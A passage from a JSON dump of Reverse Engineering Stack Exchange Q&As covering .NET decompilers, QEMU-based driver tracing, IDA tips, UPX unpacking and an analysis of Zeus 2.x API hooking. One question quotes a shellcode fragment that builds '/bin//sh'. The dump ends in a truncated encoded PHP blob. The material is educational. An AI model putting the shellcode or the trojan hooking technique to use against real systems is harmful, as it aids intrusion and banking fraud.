        "Body": "<p>I wonder if total decompilation of arbitrary non packed project .NET is possible? If no, what is the conditions that should be met to make it possible? If yes, is there tools that can automate this? I'm wondering not about basic decompilers, but about the ability of complete project recovery to compile result with VS again.</p>\n\n<hr>\n\n<p><strong>UPD1</strong></p>\n\n<p>Yet tried to apply only dotPeek for my case. Unfortunately the output is not looks like ready-to-go project but all errors seems to be debugable. Disadvantage is the inability to export both dlls and exe into one project automatically(poor man's editing <code>.sln</code> file required)</p>\n\n<p><strong>UPD2</strong></p>\n\n<p>Seems like ILSpy has no option of export ready-to-go solutions for one/multiple .NET assemblies. Maybe there is some plugin/extension that should handle this? Will update this post if find one.</p>\n",
        "Title": "Recovering .NET sources into full blown project",
        "Tags": "|decompilation|.net|",
        "Answer": "<p><strong>Update</strong>: dnSpy is now my go to tool for .net decompiling. It's open-source, it exports to Visual Studio projects and the debugger works like a charm.</p>\n\n<p><a href=\"https://github.com/0xd4d/dnSpy\" rel=\"nofollow noreferrer\">https://github.com/0xd4d/dnSpy</a></p>\n\n<p><strong>Original answer</strong>: Telerik JustDecompile also can export to Visual Studio projects. I used it recently and it worked with very minor modifications to the code. It's a free tool.</p>\n\n<p><a href=\"http://www.telerik.com/products/decompiler.aspx\" rel=\"nofollow noreferrer\">http://www.telerik.com/products/decompiler.aspx</a></p>\n"
    },
    {
        "Id": "8231",
        "CreationDate": "2015-02-12T23:57:04.383",
        "Body": "<p>Presently, I am trying to analyze a piece of hardware, to be specific the Broadcom 1570 PCI web cam inside a late MBPr 2013.  I can pass through the device using QEMU, and have the gusest OS / VM detect the web cam, and I tested it out using FaceTime, and it appears to be working.  However, there currently isn't a Linux driver for this device.  I am aware of one being developed, and there is a project page on Github for the device.</p>\n\n<p>What are some \"attack vectors\" or possibilities of using qemu to aid in the development of a Linux driver for this device?  My knowledge with QEMU is limited, but I have successfully set up several VM's on my host Linux machince (MBPr), and I am eager to learn.  Any help would be greatly appreciated.</p>\n",
        "Title": "How could using QEMU be useful in developing a driver for Linux?",
        "Tags": "|osx|qemu|",
        "Answer": "<p>To develop a driver, there's basically 3 steps you have to do:</p>\n\n<ol>\n<li>Learn about Linux driver programming in general. This is independent of your specifi hardware, and involves things like \"How do i convert virtual memory addresses to physical and back? How do i read bytes / write bytes to hardware registers? How do i yield the CPU while waiting for the hardware to set a bit? If the device is interrupt-driven, how to i \"stop\" execution of the driver when it has written a command to the device, and how to i \"restart\" it when the device uses an interrupt to tell me the command has finished/data is ready for me to process?</li>\n<li>Learn how the hardware works. How many and which registers does it have, what's the meaning of the individual bits of those registers, what do i have to write to which register to configure the hardware, how (in the case of a web cam) do i read a pixel from the hardware, and how do i set up a DMA transfer of a whole image to memory?</li>\n<li>Apply the knowledge of 1) and 2) to your hardware, write a driver, and debug it if it doesn't work as it should. If your user level software tells the driver to configure the Webcam to 1024x768 pixels, does the driver write the correct data to the correct registers? Does it obey any timing the device imposes, or does it set your registers too fast sometimes?</li>\n</ol>\n\n<p>While 1) ist just a lot of reading and understanding documentation, an emulator might be able to help with 2), and certainly with 3).</p>\n\n<p><strong>Learn how the hardware works</strong></p>\n\n<p>If you're lucky, you can do 2) looking at vendor's datasheets. In your case, it seems like the vendor (Broadcom) hasn't published anything, so the only way to find out is looking at what an existing driver does. This is where an emulator <strong>that allows logging of certain actions</strong> might come handy.</p>\n\n<p>If you're running MacOS under Qemu under Linux, and the MacOS driver accesses the webcam hardware, then it doesn't really access the hardware. Every hardware access goes to Qemu, which will intercept the access and route it to the real hardware. Each of these actions can be logged. Now, you can fire up some software in your MacOS, and, for example, tell it to set the resolution to 1024x768 pixels. This might result in a QEMU log like this:</p>\n\n<pre><code>Write the value 01 to the memory address 1234500\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 00 to the memory address 1234502\nWrite the value 04 to the memory address 1234503\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 02 to the memory address 1234500\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 00 to the memory address 1234502\nWrite the value 03 to the memory address 1234503\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 00 to the memory address 1234500\n</code></pre>\n\n<p>What does this tell us?</p>\n\n<p>Well, your resolution values - 1024x768 - are 0400 and 0300 in hex. This corresponds to the bytes that are written to 1234502 and 1234503. So, these seem to be the registers that set the resolution. But unfortunately, the <em>same</em> registers seem to be used for width and height. This probably means that the byte written to 1234500 is a selector - writing a 1 there turns the other 2 registers into \"height\" mode, writing a 2 turns them into \"width\" mode.</p>\n\n<p>And what about the repeated reading of 1234501?</p>\n\n<p>Every time, after something is written to the device, bit 7 (0x80) of that register seems to be set, and the driver keeps reading it until it's clear; then proceeds to write some more. So it seems that bit is a \"hardware ready\" bit, meaning the hardware is processing your previous commands, and not able to accept further commands. Once everything is processed, the bit gets cleared, and the driver is allowed to write some more.</p>\n\n<p>Of course, all of this would be much easier if you had documentation of the actual hardware. But, documentation of <em>similar</em> hardware might still help. Assume there was a different chip, the Broadcom 1571, which had a USB interface. And assume the documentation of that stated \"To set the resolution to 1024x768, you'll have to send the bytes <code>0x01 0x00 0x04 0x02 0x00 0x03 0x00</code> over USB\". You'd see that the byte sequence is the same, but the timing stuff is probably handled by the USB controller of the 1571 Chip. So you could easily translate the instruction \"To turn on the LED, send <code>0x04 0x01 0x00</code>, to turn it off send <code>0x04 0x00 0x00</code>\" to the corresponding PCI register sequence, and verify using your QEMU log whether or not the driver does the same thing when you turn the LED on/off from your emulated software.</p>\n\n<p><strong>Develop the driver</strong></p>\n\n<p>Once you have enough information about the hardware, you can start writing the linux driver. At this point, an emulator can help you in the same way as when you were tracing the other driver - running Linux with your driver in an emulator helps you debugging the code in just the same way as when you were tracing the original driver.</p>\n\n<p>Also, you can use the emulator to prevent lots of crashes. Your driver might have some bugs that cause it to write bad data to bad addresses, and you certainly want to prevent it from sending a low level format command to the PCI/SATA adapter. You can for example, use QEMU to pass through only a specific range of PCI registers to the actual hardware. Or, if your device documentation states \"Writing 0x01 to Register 7 sets a signal to ground, writing 0x02 sets it to +5V. Never set both bits at once, this will create a short circuit and fry your device within seconds\", you could put an appropriate safeguard into the emulator to prevent this in case of a driver gone wild.</p>\n\n<p><strong>Can Qemu actually do what has been described?</strong></p>\n\n<p>Probably not the vanilla version. There's no reference to PCI register logging in the qemu description. But, it seems that <a href=\"https://github.com/koradlow/v4l2-rds-ctl/tree/master/contrib/pci_traffic\" rel=\"nofollow\">there is a project on github to add this kind of logging to qemu</a>. This project hasn't been updated in 4 years, which could mean it still works as intended (and there has never been a reason to update it), or the maintainer lost interest and it doesn't work at all anymore.</p>\n\n<p>Some of the other uses described are just too specific to be easily configurable, so you'll probably need to hack qemu itself to implement them. But hey, that's what qemu is open source for.</p>\n\n<p>Since there is already a project to develop drivers for your camera, chances are the maintainers of that project have done exactly that. I'd contact them for more information.</p>\n"
    },
    {
        "Id": "8241",
        "CreationDate": "2015-02-14T23:25:05.980",
        "Body": "<p>I have found the following assembly lines presented in a tutorial which I do not understand:</p>\n\n<pre><code> xor eax, eax      =&gt; clear, I know that, it makes eax = 0\n push eax          =&gt; push 0 on the stack\n push 0x68732f2f   =&gt; push \"//sh\" to the stack (the numbers are opcodes I guess, output of hexdump)\n push 0x6e69622f   =&gt; push \"/bin\" to the stack (again opcodes, representing \"/bin\" )\n mov ebx, esp      =&gt; put address of \"/bin//sh\\0\" into ebx, via esp\n ....\n</code></pre>\n\n<p><strong>My question:</strong> \nWhy we put address of \"/bin//sh\" into ebx, via esp using the line mov ebx, esp for that ?</p>\n\n<p>I draw a sketch:</p>\n\n<pre><code>         |                        |\n         |------------------------|&lt;-----ESP (I know that ESP always points to the top)\n(a)      |  0x6e69622f  (\"//sh\")  |\n         |------------------------|\n(b)      |   0x68732f2f (\"/bin\")  |\n         |------------------------|\n(c)      |       0                |\n         |------------------------|\n</code></pre>\n\n<p><strong>How I try to explain it to myself</strong>(I am not sure if it is correct, but I thought to think about a little bit before I ask in that forum here):</p>\n\n<p>ESP is a 32-bit register such that it is large enough to comprise the addresses at (a), (b) and (c) (which I marked above).</p>\n\n<p>Is that right? I hope somebody can help me?</p>\n\n<p>best regards, </p>\n",
        "Title": "Assembly- Using push and ESP-Register to store addresses",
        "Tags": "|assembly|esp|register|",
        "Answer": "<p>Its just a technique to embed strings in the exploit, as u can define them in a regular fashion, as u need their address to access them but in an exploit these addresses are dynamic not static or constants.</p>\n"
    },
    {
        "Id": "8247",
        "CreationDate": "2015-02-15T20:41:57.877",
        "Body": "<p>I'm trying to RE an application which shows after hitting a button a specific number.\nThe number comes from a file after parsing it. Input = 5, number displayed = 5 and so on.</p>\n\n<p>I was able to track down the disassembled code where the number being loaded.</p>\n\n<pre><code>v3 = *(_DWORD *)(*((_DWORD *)AfxGetModuleState() + 1) + 164);\n\nATL::CStringT&lt;char,StrTraitMFC_DLL&lt;char,ATL::ChTraitsCRT&lt;char&gt;&gt;&gt;::Format(v2 + 168, \"%u\", *(_DWORD *)(v13 + 1032));\n</code></pre>\n\n<p>The last part <code>v13 + 1032</code> told me where to look on the stack and indeed I found the number.</p>\n\n<p><strong>Stack overview</strong></p>\n\n<pre><code>00188F7C  0000000\n00188F80  0000004\n00188F84  0000001\n00188F88  000001D\n</code></pre>\n\n<p><strong>Now my question is:</strong> Is there any way in IDA to show me the code which is putting those 4 values on the stack? The surounding lines (Line1, 3 and 4) <strong>always</strong> have the same values.</p>\n",
        "Title": "Finding responsible part of code writing specific values on stack",
        "Tags": "|ida|",
        "Answer": "<p>I'll try to guess what happening in your binary, but this will remain only my guess until you provide it.</p>\n\n<p>You need to break API functions while debugging application that process both getting keyboard code and printing the result. In <a href=\"http://windbg.info/\" rel=\"nofollow\">WinDbg</a> it can be done like <code>bp USER32!GetKeyboardState; dd esp+x (or dd poi(esp+x) )</code>\nNote, that this operation requires debug symbols installed.</p>\n\n<p>Your question was about IDA, but in my opinion separate debugger suits better for such task.</p>\n"
    },
    {
        "Id": "8252",
        "CreationDate": "2015-02-16T12:13:41.830",
        "Body": "<p>Is there a trick in IDA Pro to deal with unrolled loops like in the screenshot below?\n<img src=\"https://i.stack.imgur.com/kTBj6.jpg\" alt=\"enter image description here\"></p>\n\n<p>Another, possibly related compiler optimisation is this - instead of loading an offset into a memory area, it does mov for each character (MSVC8). Any quick way to deal with these?</p>\n\n<p><img src=\"https://i.stack.imgur.com/1ZIxV.jpg\" alt=\"enter image description here\"></p>\n",
        "Title": "IDA pro and unrolled loops",
        "Tags": "|ida|compilers|",
        "Answer": "<p>There is a topic regarding the 2nd question, see <a href=\"https://reverseengineering.stackexchange.com/questions/2977/how-can-i-clean-up-strings-built-at-runtime\">How can I clean up strings built at runtime?</a>. Personally I use the script by ASERT script, it works pretty well.</p>\n"
    },
    {
        "Id": "8260",
        "CreationDate": "2015-02-17T14:07:00.223",
        "Body": "<p>I've been trying to get antiResHacker.exe as mentioned in this question: </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/1399/how-to-prevent-use-of-resource-editors\">How to prevent use of Resource editors</a></p>\n\n<p>However, the codebase for ollytlscatch (<a href=\"https://code.google.com/p/ollytlscatch/\" rel=\"nofollow\">https://code.google.com/p/ollytlscatch/</a>) seems to be inaccessible. Is there a canonical location for this set of tools or are they no longer in public circulation? </p>\n",
        "Title": "Where is the code for ollytlscatch?",
        "Tags": "|ollydbg|debuggers|anti-debugging|digital-forensics|",
        "Answer": "<p>The source code for TLSCatch can be downloaded from:</p>\n\n<ul>\n<li><a href=\"https://myollyplugins.googlecode.com/files/TLSCatch.rar\" rel=\"nofollow\">https://myollyplugins.googlecode.com/files/TLSCatch.rar</a></li>\n</ul>\n\n<p>And the binary for it can be downloaded from these two locations:</p>\n\n<ul>\n<li><a href=\"https://myollyplugins.googlecode.com/files/TLSCatch.dll\" rel=\"nofollow\">https://myollyplugins.googlecode.com/files/TLSCatch.dll</a></li>\n<li><a href=\"http://www.woodmann.com/collaborative/tools/images/Bin_ollytlscatch_2010-11-3_19.7_TlsCatch.zip\" rel=\"nofollow\">http://www.woodmann.com/collaborative/tools/images/Bin_ollytlscatch_2010-11-3_19.7_TlsCatch.zip</a></li>\n</ul>\n\n<p>Furthermore, you can download sample programs to test TLSCatch from:</p>\n\n<ul>\n<li><a href=\"https://web.archive.org/web/*/http://ollytlscatch.googlecode.com/files/*\" rel=\"nofollow\">https://web.archive.org/web/*/http://ollytlscatch.googlecode.com/files/*</a></li>\n</ul>\n"
    },
    {
        "Id": "8268",
        "CreationDate": "2015-02-18T07:47:09.870",
        "Body": "<p>I've decided to reverse <a href=\"https://mega.co.nz/#!iEpDETIY!h0xZgdQ7etqJBUupq-yIcglj79aQcs-fQnRW898n4Wc\" rel=\"noreferrer\">this</a> crackme. Obviously it's packed. I was told by PeID that there is only UPX inside. Ok, but <code>upx -d</code> simple crashed that's why I've concluded that this UPX may be scrambled somehow.</p>\n\n<p><img src=\"https://i.stack.imgur.com/XEm04.png\" alt=\"IDA warning\"></p>\n\n<p>Binary didn't run properly in debugger(windbg) for unpacking it so I've dumped exe from working process and tried to fix imports. Maybe I should have tried Olly with plugins? However IDA still warns me that some imports might be destroyed(see picture). My question is: did I unpacked it correctly? If no what else should I do to unpack it?</p>\n\n<p><a href=\"https://mega.co.nz/#!OU4X1a4Y!00wN9c72-4nRtNgF5t7ZdGLxDzjYE9G6CNakblHBUOs\" rel=\"noreferrer\">Unpacked</a></p>\n",
        "Title": "Unpacking UPX packed (possibly scrambled) executable",
        "Tags": "|unpacking|upx|",
        "Answer": "<p><a href=\"https://mega.co.nz/#F!OAx0wL7K!gLPZh7pkMv7d8as5serOmg\" rel=\"noreferrer\">Here</a> you can find bunch of tools for unpacking upx. One of them(Upx Unpacker 0.2) solved my issue. Every unpacker should be used in specific case and this list  may be incomplete. </p>\n"
    },
    {
        "Id": "8271",
        "CreationDate": "2015-02-18T10:39:56.333",
        "Body": "<p>I'm doing some study on Zeus 2.x, trying to wrap my head around how it works. By using <a href=\"https://github.com/Visgean/Zeus\" rel=\"nofollow\">this code</a>. I've built my own builder to work on my test environment.</p>\n\n<p>Right know I want to do a very specific thing, which is extracting from memory the webinjects configuration. The first experiments I did was to attach to IExplorer and monitor calls to functions I know Zeus hooks, like <code>HttpSendRequest*</code>. I was expecting that at some point while stepping through those executions I'd see the injections configuration loaded into memory. I've tried to automate the proccess setting a breakpoint upon call of this function and using OllyDbg's Memory Watch plugin, which dumps every string it encounters.</p>\n\n<blockquote>\n  <p>So now I want to pinpoint and understand exactly where should I look to see this decrypted configuration in memory.</p>\n</blockquote>\n\n<p>My assumptions so far:</p>\n\n<ul>\n<li>I'm unable to see anything strange because the <code>HttpSendRequestX</code> function I'm setting a breakpoint is actually the original, unchanged from Wininet;</li>\n<li>Dumping memory of the machine and analysing it offline is not enough, since the structure which holds the webinjects (BinStorage) is loaded in memory when it's needed and then discarded (free'd) </li>\n</ul>\n\n<p>At this point I was thinking to monitor calls to <code>VirtualAlloc</code> and place a breakpoint on memory write on those newly allocated areas (at some point Zeus is bound to place there the encrypted configuration and then decrypt it).</p>\n\n<p>But this is still a long shot. Any ideas? Also I'm doing most of this work by attaching on <code>IExplore.exe</code>, should I do it on <code>explorer.exe</code> instead?</p>\n\n<p>Any tips are appreciated !</p>\n",
        "Title": "Studying Zeus 2.X",
        "Tags": "|disassembly|windows|ollydbg|malware|",
        "Answer": "<p>Answering my own question for further reference:</p>\n\n<p>Zeus and many other MiTB capable trojans use API hooking as preferred method to inject malicious code in the webpages before they are rendered by the victim. API hooking is sort of like doing a MiTM of a system call, whereby the bot intercepts the call, takes ownership and control, performs some malicious action and then returns control to the original function. Something like:</p>\n\n<p>call <code>network_function</code>:</p>\n\n<pre><code>JMP XYZ ----&gt; JMPs to malicious code \n..                |\n..                |\n...           &lt;---- returns to the original function\n</code></pre>\n\n<p>So, in this scenario, in order to extract the web injects, the best bet was to understand the logic of the trojan. That is, after a user opens a URL in the browser, this URL will be matched with a list containing the configuration of which URLs to inject. This will surely be performed on Wininet functions such as <code>HttpSendRequest</code>, <code>HttpOpenRequest</code>, etc. If we breakpoint on that function in the main process of <code>IExplore.exe</code> (in an infected machine) we'll see the first instruction to be that <code>JMP</code> instruction we've talked about. If we then proceed to step into, we'll access the actual instructions using the structure BinStorage and other, all related to Zeus. Since there is still a lot of code to go through and the interest was to retrieve the webinjects, one approach is to monitor for decryption / decode instructions (Zeus's configuration is stored encrypted; it only makes sense that if we monitor the instructions responsible for this operation will lead us to the actual decrypted content). </p>\n\n<p>In this case searching for the sequence of bytes</p>\n\n<pre><code> MOV ANY, ANY\n XOR ANY, ANY\n INC EAX\n DEC ESI\n</code></pre>\n\n<p>If we breakpoint after the last instruction and then inspect the contents of the memory address pointed by the destination operands in the <code>MOV</code>/<code>XOR</code> operations we will most likely find the decrypted payload (i.e. our dynamic configuration section).</p>\n"
    },
    {
        "Id": "8272",
        "CreationDate": "2015-02-18T01:05:35.093",
        "Body": "<p>Well I'm unsure if this is the correct site to use but how would I go about decoding/decrypting PHP code which is encoded/encrypted using eAccelerator?</p>\n\n<pre><code>&lt;?php\nsession_start();\n?&gt;\n&lt;?php /*This encoded file was generated using PHPCoder (http://phpcoder.sourceforge.net/) and eAccelerator (http://eaccelerator.sourceforge.net/)*/ if (!is_callable(\"eaccelerator_load\") &amp;&amp; !@dl(\"eAccelerator.so\")) { die(\"This PHP script has been encoded using the excellent eAccelerator Optimizer, to run it you must install &lt;a href=\\\"http://eaccelerator.sourceforge.net/\\\"&gt;eAccelerator or the eLoader&lt;/a&gt;\"); }eaccelerator_load('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